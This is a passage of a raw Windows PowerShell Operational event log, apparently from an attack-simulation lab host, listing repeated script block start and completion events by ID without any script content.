Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039883
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039878
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039877
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039855
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039854
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039853
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039852
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039836
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039835
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039830
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
